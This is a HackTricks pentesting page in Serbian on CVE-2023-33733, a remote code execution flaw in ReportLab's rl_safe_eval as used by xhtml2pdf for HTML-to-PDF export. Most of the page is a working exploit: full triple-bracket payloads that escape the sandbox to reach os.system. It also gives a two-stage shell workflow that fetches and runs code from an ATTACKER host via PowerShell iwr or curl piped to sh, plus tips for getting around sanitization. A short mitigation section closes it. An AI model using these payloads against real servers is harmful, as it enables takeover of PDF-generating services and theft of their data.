hacktricks/src/generic-methodologies-and-resources/python/bypass-python-sandboxes/reportlab-xhtml2pdf-triple-brackets-expression-evaluation-rce-cve-2023-33733.md

80 lines
6.7 KiB
Markdown

# ReportLab/xhtml2pdf [[[...]]] expression-evaluation RCE (CVE-2023-33733)
{{#include ../../../banners/hacktricks-training.md}}
Ova stranica dokumentuje praktičan sandbox escape i RCE primitiv u ReportLab-ovom rl_safe_eval koji koristi xhtml2pdf i druge PDF-generacione pipeline-ove pri renderovanju korisnički kontrolisanog HTML-a u PDF.
CVE-2023-33733 utiče na ReportLab verzije do i uključujući 3.6.12. U određenim kontekstima atributa (na primer color), vrednosti obavijene u triple brackets [[[ ... ]]] se evaluiraju na serveru pomoću rl_safe_eval. Kreiranjem payload-a koji pivota od dozvoljenog builtin-a (pow) ka njegovim Python funkcijskim globals, napadač može doći do modula os i izvršiti komande.
Ključne tačke
- Trigger: ubacite [[[ ... ]]] u evaluirane atribute kao što je <font color="..."> unutar markup-a koji parsira ReportLab/xhtml2pdf.
- Sandbox: rl_safe_eval zamenjuje opasne builtine, ali evaluirane funkcije i dalje izlažu __globals__.
- Bypass: kreirajte tranzitornu klasu Word da zaobiđete rl_safe_eval provere imena i pristupite stringu "__globals__" dok izbegavate filtriranje blokiranih dunder imena.
- RCE: getattr(pow, Word("__globals__"))["os"].system("<cmd>")
- Stabilnost: Vratite validnu vrednost za atribut nakon izvršenja (za color, koristite na primer 'red').
Kada testirati
- Aplikacije koje izlažu HTML-to-PDF export (profile, invoices, reports) i gde se u PDF metadata ili HTTP odgovorima vidi xhtml2pdf/ReportLab.
- exiftool profile.pdf | egrep 'Producer|Title|Creator' → "xhtml2pdf" producer
- HTTP odgovor za PDF često počinje komentarom generatora iz ReportLab-a
Kako bypass sandboksa funkcioniše
- rl_safe_eval uklanja ili zamenjuje mnoge builtine (getattr, type, pow, ...) i primenjuje filtriranje imena da odbije atribute koji počinju sa __ ili su u denylisti.
- Međutim, sigurne funkcije žive u globals rečniku dostupnom kao func.__globals__.
- Koristite type(type(1)) da povratite pravi builtin type funkciju (zaobilaženje ReportLab-ovog wrapper-a), zatim definišite klasu Word izvedenu iz str sa izmenjenim ponašanjem poređenja tako da:
- .startswith('__') → uvek False (zaobilaženje provere startswith('__'))
- .__eq__ vraća False samo pri prvom poređenju (zaobilaženje provere članstva u denylisti) i True kasnije (tako da Python getattr radi)
- .__hash__ je jednak hash(str(self))
- Sa ovim, getattr(pow, Word('__globals__')) vraća globals dict omotane pow funkcije, koji uključuje importovani os modul. Zatim: ['os'].system('<cmd>').
Minimalni obrazac eksploatacije (primer za atribut)
Postavite payload unutar evaluiranog atributa i osigurajte da vrati validnu vrednost atributa preko boolean i 'red'.
<para><font color="[[[getattr(pow, Word('__globals__'))['os'].system('ping 10.10.10.10') for Word in [ orgTypeFun( 'Word', (str,), { 'mutated': 1, 'startswith': lambda self, x: 1 == 0, '__eq__': lambda self, x: self.mutate() and self.mutated < 0 and str(self) == x, 'mutate': lambda self: { setattr(self, 'mutated', self.mutated - 1) }, '__hash__': lambda self: hash(str(self)), }, ) ] ] for orgTypeFun in [type(type(1))] for none in [[].append(1)]]] and 'red'">
exploit
</font></para>
- Obrazac sa list-comprehension dozvoljava jedini izraz prihvatljiv za rl_safe_eval.
- Trailing and 'red' vraća validnu CSS boju tako da renderovanje ne puca.
- Zamenite komandu po potrebi; koristite ping da potvrdite izvršenje pomoću tcpdump-a.
Operativni workflow
1) Identifikujte PDF generator
- PDF Producer prikazuje xhtml2pdf; HTTP odgovor sadrži ReportLab komentar.
2) Pronađite input koji se reflektuje u PDF (npr. profile bio/description) i pokrenite export.
3) Verifikujte izvršenje sa niskim šumom koristeći ICMP
- Pokrenite: sudo tcpdump -ni <iface> icmp
- Payload: ... system('ping <your_ip>') ...
- Windows često pošalje tačno četiri echo zahteva po defaultu.
4) Uspostavite shell
- Za Windows, pouzdan dvofazni pristup izbegava probleme sa quoting/encoding:
- Stage 1 (download):
<para><font color="[[[getattr(pow, Word('__globals__'))['os'].system('powershell -c iwr http://ATTACKER/rev.ps1 -o rev.ps1') for Word in [ orgTypeFun( 'Word', (str,), { 'mutated': 1, 'startswith': lambda self, x: 1 == 0, '__eq__': lambda self, x: self.mutate() and self.mutated < 0 and str(self) == x, 'mutate': lambda self: { setattr(self, 'mutated', self.mutated - 1) }, '__hash__': lambda self: hash(str(self)), }, ) ] ] for orgTypeFun in [type(type(1))] for none in [[].append(1)]]] and 'red'">exploit</font></para>
- Stage 2 (execute):
<para><font color="[[[getattr(pow, Word('__globals__'))['os'].system('powershell ./rev.ps1') for Word in [ orgTypeFun( 'Word', (str,), { 'mutated': 1, 'startswith': lambda self, x: 1 == 0, '__eq__': lambda self, x: self.mutate() and self.mutated < 0 and str(self) == x, 'mutate': lambda self: { setattr(self, 'mutated', self.mutated - 1) }, '__hash__': lambda self: hash(str(self)), }, ) ] ] for orgTypeFun in [type(type(1))] for none in [[].append(1)]]] and 'red'">exploit</font></para>
- Za Linux meta, sličan dvofazni pristup sa curl/wget je moguć:
- system('curl http://ATTACKER/s.sh -o /tmp/s; sh /tmp/s')
Napomene i saveti
- Konteksti atributa: color je poznat evaluirani atribut; i drugi atributi u ReportLab markup-u mogu takođe evaluirati izraze. Ako je jedna lokacija sanitizovana, probajte druge koje se renderuju u PDF toku (različita polja, table styles, itd.).
- Quoting: Držite komande kompaktne. Dvofazni download značajno smanjuje probleme sa quoting-om i escaping-om.
- Pouzdanost: Ako su exporti keširani ili stavljeni u red, blago varirajte payload (npr. random path ili query) da izbegnete keširanje.
Mitigacije i detekcija
- Nadogradite ReportLab na 3.6.13 ili noviji (CVE-2023-33733 je ispravljen). Pratite sigurnosne advisore i u paketima distribucije.
- Ne prosleđujte korisnički kontrolisan HTML/markup direktno u xhtml2pdf/ReportLab bez striktne sanitizacije. Uklonite/odbijte [[[...]]] evaluacione konstrukte i vendor-specific tagove kada je input nepouzdan.
- Razmotrite onemogućavanje ili umotavanje korišćenja rl_safe_eval za nepouzdane inpute.
- Monitorišite sumnjive odlazne konekcije tokom generisanja PDF-a (npr. ICMP/HTTP sa app servera dok se exportuju dokumenti).
References
- PoC and technical analysis: [c53elyas/CVE-2023-33733](https://github.com/c53elyas/CVE-2023-33733)
- 0xdf University HTB write-up (real-world exploitation, Windows two-stage payloads): [HTB: University](https://0xdf.gitlab.io/2025/08/09/htb-university.html)
- NVD entry (affected versions): [CVE-2023-33733](https://nvd.nist.gov/vuln/detail/cve-2023-33733)
- xhtml2pdf docs (markup/page concepts): [xhtml2pdf docs](https://xhtml2pdf.readthedocs.io/en/latest/format_html.html)
{{#include ../../../banners/hacktricks-training.md}}